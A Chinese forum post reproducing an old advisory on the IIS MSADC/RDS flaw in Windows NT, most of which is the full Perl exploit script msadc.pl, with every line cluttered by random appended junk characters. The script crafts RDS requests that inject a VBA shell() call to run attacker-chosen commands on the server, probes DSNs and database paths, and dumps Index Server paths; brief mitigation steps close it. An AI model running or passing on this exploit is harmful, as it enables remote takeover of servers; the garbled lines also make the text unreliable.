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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 33couAP#  
8Md*9E#J("  
涉及程序: lbg!B4,  
Microsoft NT server |U$oS2U\m  
,Mc}U9)F  
描述: &nj@t>5Bs$  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 hW>@jT"t1C  
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详细: qX:54$t  
如果你没有时间读详细内容的话,就删除: g<KBsz!{  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Czb@:l%sc  
有关的安全问题就没有了。 P 2;j>=W  
&#g;=jZ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ep[7#\}5  
SL:o.g(>4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 \0j|~/6  
关于利用ODBC远程漏洞的描述,请参看: !e.@Xk.P6  
j/wNPB/NM  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm nb22b Xt  
n7X3aoVV  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ?mRU9VY  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp IcPIOCmOc  
$9*Xfb/  
这里不再论述。 L3X>v3CZ5  
ykl./uY'  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1NN99^ q  
u-j$4\'  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset tb&{[|O^  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Fg5c;sls  
^b;.zhp8;N  
-YHlVz  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,/:#=TuYm  
lpve Yz  
#!perl d'^jek h  
# |; {wy  
# MSADC/RDS 'usage' (aka exploit) script dB_\0?jJ-  
# ]O7I7K  
# by rain.forest.puppy 33[2$FBf  
# ]_|qv1K6  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me hV'JTU]H  
# beta test and find errors! FL0(q>$*8  
$+S'Boo   
use Socket; use Getopt::Std; hRxR2  
getopts("e:vd:h:XR", \%args); )"A+T&  
C#>c(-p>RC  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; zWB>;Z}  
N}VKH5U|  
if (!defined $args{h} && !defined $args{R}) { 292e0cE  
print qq~ &c ayhL/%  
Usage: msadc.pl -h <host> { -d <delay> -X -v } `<y2l94tL  
-h <host> = host you want to scan (ip or domain) |53Zg"!  
-d <seconds> = delay between calls, default 1 second TS$ 2K  
-X = dump Index Server path table, if available Q>JJI:uC4  
-v = verbose :%xiH%C>  
-e = external dictionary file for step 5 lkFv5^%  
`dn|n I2  
Or a -R will resume a command session  U`IDZ{g  
GvF~h0wMt  
~; exit;}  ];Bh1  
^C_Y[i ~|  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; HWFo9as""v  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} #{UM4~|:  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} )@\= pE.H  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); L!c7$M5xJ  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} b!5W!vcK  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } gI'4g ZH  
HeNg<5v%Y  
if (!defined $args{R}){ $ret = &has_msadc; 1nX/5z_U  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 6*GY%~JbD  
/*`u(d2g  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" wC`])z}bT  
. "cmd /c "; -fT]}T6=  
$in=<STDIN>; chomp $in; k[gO>UGB;  
$command="cmd /c " . $in ; + Q}Y?([  
mcpM<vY/H  
if (defined $args{R}) {&load; exit;} j2=jD G  
b,]h X  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; *Jmy:C<>  
&try_btcustmr; P< O[S  
Qg<_te)\  
print "\nStep 2: Trying to make our own DSN..."; ujmO'blO  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; |.)oV;9  
arrNx|y  
print "\nStep 3: Trying known DSNs..."; 5yuj}/PZ  
&known_dsn; +0;6.PK  
D7olu29  
print "\nStep 4: Trying known .mdbs..."; &^{HD }/{b  
&known_mdb; GFYAg  
k3}|^/bHJ  
if (defined $args{e}){ op/HZa  
print "\nStep 5: Trying dictionary of DSN names..."; 0}PW<lU-  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 7^ITedW@  
]xCJ3.9  
print "Sorry Charley...maybe next time?\n"; -s,^_p{H  
exit; 25::z9i  
tl (2=\  
############################################################################## KArR.o }  
'_@Y  
sub sendraw { # ripped and modded from whisker 5nkx8JJ  
sleep($delay); # it's a DoS on the server! At least on mine... >hJ$~4?  
my ($pstr)=@_; |K,9EM3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || fJH09:@^%  
die("Socket problems\n"); ltO:./6v  
if(connect(S,pack "SnA4x8",2,80,$target)){ :0Rd )*k,v  
select(S); $|=1; u-qg9qXJb  
print $pstr; my @in=<S>; 0;#%KC,  
select(STDOUT); close(S); SirjWYap  
return @in; Wr a W  
} else { die("Can't connect...\n"); }} C;1A$]bk  
=%%\b_\L  
############################################################################## w9SPkPkYE  
VL?ubt<  
sub make_header { # make the HTTP request SWN i@  
my $msadc=<<EOT zy"L%i  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 {W)Kz_  
User-Agent: ACTIVEDATA 4h@jJm  
Host: $ip E*:!G  
Content-Length: $clen 1j`-lD  
Connection: Keep-Alive M$B9?N6  
lQ<2Vw#Yl  
ADCClientVersion:01.06 lF2im5nZ?  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 JN .\{ Y  
+?w 7Nm`  
--!ADM!ROX!YOUR!WORLD! m$ )yd~  
Content-Type: application/x-varg (CJiCtAsl`  
Content-Length: $reqlen X};m\Bz  
me_DONW  
EOT [2pp)wq  
; $msadc=~s/\n/\r\n/g; GvF8S MO[x  
return $msadc;} '_lyoVP  
L'BDS*  
############################################################################## puF'w:I (  
9z$]hl  
sub make_req { # make the RDS request Z3g6 ?2w6  
my ($switch, $p1, $p2)=@_; z\Rs?v"  
my $req=""; my $t1, $t2, $query, $dsn; o]t6u .L  
HgvgO\`]  
if ($switch==1){ # this is the btcustmr.mdb query 0&mo1 k_U  
$query="Select * from Customers where City=" . make_shell(); @zL)R b%P$  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . %0fF_OU  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} r Lg(J|^  
vIF=kKl9,  
elsif ($switch==2){ # this is general make table query Sf);j0G,D  
$query="create table AZZ (B int, C varchar(10))"; w17\ \[  
$dsn="$p1";} F[<EXLQ  
<H<5E'm  
elsif ($switch==3){ # this is general exploit table query kT&-:: ^R  
$query="select * from AZZ where C=" . make_shell(); ,24NMv7  
$dsn="$p1";} UCj4%y6t  
([R}s/)$  
elsif ($switch==4){ # attempt to hork file info from index server |5 _bFB+&  
$query="select path from scope()"; bZHuEh2w  
$dsn="Provider=MSIDXS;";} ;2Db/"`t  
bW(+Aw=O  
elsif ($switch==5){ # bad query 'Y IFHn$!  
$query="select"; M$DJ$G|Z  
$dsn="$p1";} lTY%,s  
+c.A|!-  
$t1= make_unicode($query); l=8)_z;~D  
$t2= make_unicode($dsn); 6&M $S$y  
$req = "\x02\x00\x03\x00"; *:J#[ET,  
$req.= "\x08\x00" . pack ("S1", length($t1)); '%_1eaH  
$req.= "\x00\x00" . $t1 ; Q/m))!ikMt  
$req.= "\x08\x00" . pack ("S1", length($t2)); 7}OzTup  
$req.= "\x00\x00" . $t2 ; %_0,z`f  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; k_/hgO  
return $req;} {_0Efc=7  
WMnR+?q  
############################################################################## S+py \z%  
] e!CH <N  
sub make_shell { # this makes the shell() statement c9-$t d&  
return "'|shell(\"$command\")|'";} Rp `JF}~o  
?v-IN  
############################################################################## 7F;"=DarOE  
]:i :QiYD  
sub make_unicode { # quick little function to convert to unicode i>HipD,TD  
my ($in)=@_; my $out; C7[ge&  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } jCDZ$W89  
return $out;} MH[Zw$  
mr6/d1af_  
############################################################################## F`S OF O  
RqgH,AN  
sub rdo_success { # checks for RDO return success (this is kludge) |:$D[=  
my (@in) = @_; my $base=content_start(@in); VgtW T`F.I  
if($in[$base]=~/multipart\/mixed/){ 1@q~(1-o  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} vDZhoD=VR  
return 0;} R$' 4 d  
%lNv?sWb  
############################################################################## _ I8L#4\(=  
E/|]xKG  
sub make_dsn { # this makes a DSN for us 5tT-[mQ*  
my @drives=("c","d","e","f"); s\i=-`  
print "\nMaking DSN: "; G;_QE<V~_  
foreach $drive (@drives) { iwWy]V m7  
print "$drive: "; AVVL]9b_2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . A"x1MjuqLM  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" lc>)7UF  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); |};]^5s9  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; '\\dh  
return 0 if $2 eq "404"; # not found/doesn't exist ";E Mu(IXb  
if($2 eq "200") { 'bGL@H  
foreach $line (@results) { i#$9>X  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} -FytkM^]6  
} return 0;} yn<H^c  
FL% GW:  
############################################################################## CnruaN@  
rLs)*A!  
sub verify_exists { Y^m2ealC  
my ($page)=@_; Oe4 l` =2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); K&0op 4&  
return $results[0];} :_JZn`Cab  
`<kHNcm  
############################################################################## &I: [ 'l!  
/tl/%:U*.  
sub try_btcustmr { 1RM;"b/  
my @drives=("c","d","e","f"); kF.!U/C  
my @dirs=("winnt","winnt35","winnt351","win","windows"); G,M &z>ub0  
TWYz\Hmw  
foreach $dir (@dirs) { e `zEsLs@  
print "$dir -> "; # fun status so you can see progress 3dfG_a61y  
foreach $drive (@drives) { qb(#{Sw0  
print "$drive: "; # ditto *6^|i}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *#1&IJPI  
$reqlenlen=length( "$reqlen" ); >Z?fX  
$clen= 206 + $reqlenlen + $reqlen; q4{Pm $OW  
9;2PoW8  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); vl*CU"4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} RR!(,j^M  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} '$pT:4EuGq  
J2Y-D'*s  
############################################################################## "<ow;ciJF  
In^MZ)?  
sub odbc_error { "}Kvx{L8  
my (@in)=@_; my $base; 2K<rK(  
my $base = content_start(@in); i)f3\?,,  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ]'V8{l  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #P*%FgROl  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dQ?4@  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qKt8sxg  
return $in[$base+4].$in[$base+5].$in[$base+6];} V&vU her0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; /:v+:-lU  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (-*NRY3*  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Q:eIq<erY  
H+vONg  
############################################################################## i$;GEM}tv  
Af1izS3  
sub verbose { Cnd70tbD )  
my ($in)=@_; $'e;ScH  
return if !$verbose; rB;` &)-  
print STDOUT "\n$in\n";} eO;i1>  
vF"<r,pg  
############################################################################## gP8Fe =]  
j)ZvlRi,  
sub save { CN8GeZ-G  
my ($p1, $p2, $p3, $p4)=@_; ^@ s!"c  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :J]S+tQ)  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; WsRG>w3"  
close OUT;} /_y%b.f^  
*%1:="W*|  
############################################################################## ! utgo/n  
H|;6K`O_  
sub load { L;/#D>U(  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; %F-/|x1#Q  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); TEz)d=  
@p=<IN>; close(IN); 1rh\X[@  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Onb*nm  
$target= inet_aton($ip) || die("inet_aton problems");  hh<5?1  
print "Resuming to $ip ..."; +*'  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; J XKps#,(#  
if($p[1]==1) { _?>!Bz m  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; (1JZuR<?c  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 3 lH#+@  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 7 vUfA"  
if (rdo_success(@results)){print "Success!\n";} c_clpMx=  
else { print "failed\n"; verbose(odbc_error(@results));}}  v'i"Q  
elsif ($p[1]==3){ LqIMU4Ex  
if(run_query("$p[3]")){ J0zudbP  
print "Success!\n";} else { print "failed\n"; }} o_&.R  
elsif ($p[1]==4){ |t CD@M  
if(run_query($drvst . "$p[3]")){ 6 GX'&z  
print "Success!\n"; } else { print "failed\n"; }} Ag}V>i'  
exit;} qd{o64;|  
pcXY6[#N  
############################################################################## #n%?}  
nN>D=a"&F  
sub create_table { 3U<\y6/  
my ($in)=@_; 0h!2--Aur  
$reqlen=length( make_req(2,$in,"") ) - 28; BF8n: }9U  
$reqlenlen=length( "$reqlen" ); @_ ^QBw0  
$clen= 206 + $reqlenlen + $reqlen; `%;n HQ"  
my @results=sendraw(make_header() . make_req(2,$in,"")); :,rD5a OQ  
return 1 if rdo_success(@results); 4 q}1  
my $temp= odbc_error(@results); verbose($temp); 1<A+.W  
return 1 if $temp=~/Table 'AZZ' already exists/; k$:QpTg[  
return 0;} f^](D'L?D  
WS9n.opl}  
############################################################################## [W=%L:Ea  
IcZ_AIjlk  
sub known_dsn { ^% BD  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go S`2MQL  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Ht? u{\p@  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", udtsq"U_%  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); X5 lB],t"=  
SdC505m0*  
foreach $dSn (@dsns) { ^k&zX!W  
print "."; I9*o[Jp5  
next if (!is_access("DSN=$dSn"));  z:9  
if(create_table("DSN=$dSn")){ xou7j   
print "$dSn successful\n"; Dntcv|%u  
if(run_query("DSN=$dSn")){ $D5[12X  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Na: M1Uhb  
print "Something's borked. Use verbose next time\n";}}} print "\n";} z   
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############################################################################## St,IWOmq"  
RI w6i?/I  
sub is_access { $t.N |b`'  
my ($in)=@_; ehCc N4V(  
$reqlen=length( make_req(5,$in,"") ) - 28; ,]Yjo>`tW  
$reqlenlen=length( "$reqlen" ); + EG.p  
$clen= 206 + $reqlenlen + $reqlen; 2T5@~^:7u  
my @results=sendraw(make_header() . make_req(5,$in,""));  s=#IoNh  
my $temp= odbc_error(@results); qM3^)U2  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); X0b :Oiw  
return 0;} -`wGF#}y(=  
a8M.EFa:  
############################################################################## mkYM/*qyM&  
j)Kk:BFFY  
sub run_query { qMYR\4"$  
my ($in)=@_; G39H@@ *O0  
$reqlen=length( make_req(3,$in,"") ) - 28; Q nZR  
$reqlenlen=length( "$reqlen" ); ( f8g}2  
$clen= 206 + $reqlenlen + $reqlen; deaxb8'7  
my @results=sendraw(make_header() . make_req(3,$in,"")); ~B>I?j  
return 1 if rdo_success(@results); %r6LU<;1@  
my $temp= odbc_error(@results); verbose($temp); F<BhN+U  
return 0;} %s$_KG!&  
pTUsdao^,  
############################################################################## 1mOZ\L!m*  
o"[P++qd  
sub known_mdb { nhk +9  
my @drives=("c","d","e","f","g"); N rVQK}%K  
my @dirs=("winnt","winnt35","winnt351","win","windows"); dDW],d}B;  
my $dir, $drive, $mdb; RUf,)]Vvk  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; \s&w0V`Y  
>IfJ.g"  
# this is sparse, because I don't know of many t(lTXG  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Wr`=P,  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", d|on y  
"\\system32\\certmdb.mdb", :*t v`:;p  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% WP32t@  
'\1%%F7  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 5<IUTso5h  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;Iw'TF   
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ec1snMY  
"\\cfusion\\cfapps\\security\\realm_.mdb", 8v1asFxs.  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 6#N1 -@  
"\\cfusion\\database\\cfexamples.mdb", \ :})R{  
"\\cfusion\\database\\cfsnippets.mdb", *bn9j>|iv  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", la)f\Nk  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", )[9L|o5D  
"\\cfusion\\brighttiger\\database\\cleam.mdb", =%U t&6}sQ  
"\\cfusion\\database\\smpolicy.mdb", 5 W(iU  
"\\cfusion\\database\cypress.mdb", $f1L<euH  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", DetBZ.  
"\\website\\cgi-win\\dbsample.mdb", a&L8W4  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ""D rf=]  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 1>a^Q  
); #these are just ;}f%bE  
foreach $drive (@drives) { ZeWHSU  
foreach $dir (@dirs){ TuIeaH%x  
foreach $mdb (@sysmdbs) { 8i-?\VZD  
print "."; TW3:Y\p  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ wgLS9.  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; LU?#{dZ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ CvQ LF9|  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 1Od: I}@  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ]*i>KR@G  
!"2 OcDFx  
foreach $drive (@drives) { Zu%_kpW  
foreach $mdb (@mdbs) { 2_r}4)z  
print "."; >ID 3oi  
if(create_table($drv . $drive . $dir . $mdb)){ 5`x9+XvoN  
print "\n" . $drive . $dir . $mdb . " successful\n"; =AgY8cF!sl  
if(run_query($drv . $drive . $dir . $mdb)){ ,)]ZD H  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; \`>Y   
} else { print "Something's borked. Use verbose next time\n"; }}}} t T-]Vj.  
} 6ap,XFRMh  
z@~1e]%  
############################################################################## +Ya-h~7;g#  
;i:Uoyi  
sub hork_idx { (Egykh>  
print "\nAttempting to dump Index Server tables...\n"; mqsf#'ri  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Om}&`AP};  
$reqlen=length( make_req(4,"","") ) - 28; 7Fy^K;V"  
$reqlenlen=length( "$reqlen" ); D>G&aQ  
$clen= 206 + $reqlenlen + $reqlen; y9s5{\H  
my @results=sendraw2(make_header() . make_req(4,"","")); q<hN\kBs  
if (rdo_success(@results)){ sE/9~L  
my $max=@results; my $c; my %d; Pv1psKu  
for($c=19; $c<$max; $c++){ Y%=A>~s*c:  
$results[$c]=~s/\x00//g; WR'A%"qBwi  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; S^x9 2&!  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; y]?$zbB  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; "g=ux^+X\  
$d{"$1$2"}="";} J8b]*2D  
foreach $c (keys %d){ print "$c\n"; } E&&80[tN]  
} else {print "Index server doesn't seem to be installed.\n"; }} Wc,8<Y'   
>wMsZ+@m  
############################################################################## 1>1|>%  
{'!D2y.7g  
sub dsn_dict { Do_L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^f`#8G7(  
while(<IN>){ Rdnd|  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; "9WP^[  
next if (!is_access("DSN=$dSn")); IZ2#jSDn  
if(create_table("DSN=$dSn")){ D ^ &!  
print "$dSn successful\n"; `J-"S<c?_  
if(run_query("DSN=$dSn")){ ' > \*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { p{-1%jQ}]  
print "Something's borked. Use verbose next time\n";}}} jNIM1_JjD  
print "\n"; close(IN);} '6/uc:zv  
~NTpMF  
############################################################################## aD&10b9`  
efbt\j6@%2  
sub sendraw2 { # ripped and modded from whisker CJu;X[6  
sleep($delay); # it's a DoS on the server! At least on mine... fA 3  
my ($pstr)=@_; yS3x))  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Sl$dXB@  
die("Socket problems\n"); h M8G"b  
if(connect(S,pack "SnA4x8",2,80,$target)){ qQ1m5_OD`z  
print "Connected. Getting data"; G3U+BC23E  
open(OUT,">raw.out"); my @in; W6_3f-4g  
select(S); $|=1; print $pstr; omRd'\ RO  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Q ?Nzt;)!.  
close(OUT); select(STDOUT); close(S); return @in; ^mz_T+UOe  
} else { die("Can't connect...\n"); }} cnIy*!cJs  
[9LYR3 p  
############################################################################## vuAAaKz  
*|=&MU*+  
sub content_start { # this will take in the server headers r?[mn^Bo5  
my (@in)=@_; my $c; tICxAp:  
for ($c=1;$c<500;$c++) { '[juPI(!  
if($in[$c] =~/^\x0d\x0a/){ eq@ v2o7  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ol YSr .Q`  
else { return $c+1; }}} Vy/g;ZPU1  
return -1;} # it should never get here actually +s S*EvF  
K^w9@&g6  
############################################################################## H@ w6.[#  
5#fLGXP  
sub funky { #Se  
my (@in)=@_; my $error=odbc_error(@in); /=3g-$o{`  
if($error=~/ADO could not find the specified provider/){ Ha/\&Z(  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3>jz3>v@  
exit;} C$%QVcf  
if($error=~/A Handler is required/){ l+N?:E$5=%  
print "\nServer has custom handler filters (they most likely are patched)\n"; =}q4ked /  
exit;} f0[xMn0Tu  
if($error=~/specified Handler has denied Access/){ ,F *e^#>  
print "\nServer has custom handler filters (they most likely are patched)\n"; ebao7r5@  
exit;}} pDKJLa  
W*s`1O>  
############################################################################## 4]+ ^K`  
6F(yH4  
sub has_msadc { 7"[lWC!As5  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); m9q%l_  
my $base=content_start(@results); |Ji?p>\~  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); T.|0;Eb  
return 0;} wG|3 iFK  
MkYem6  
######################## z44uhRh  
21WqLgT3 4  
z`Q5J9_<cV  
解决方案:  $}F]pa[  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll g9 yCd(2<5  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Z8#I  
zk/!#5JtK  
拿出来充数 哈哈
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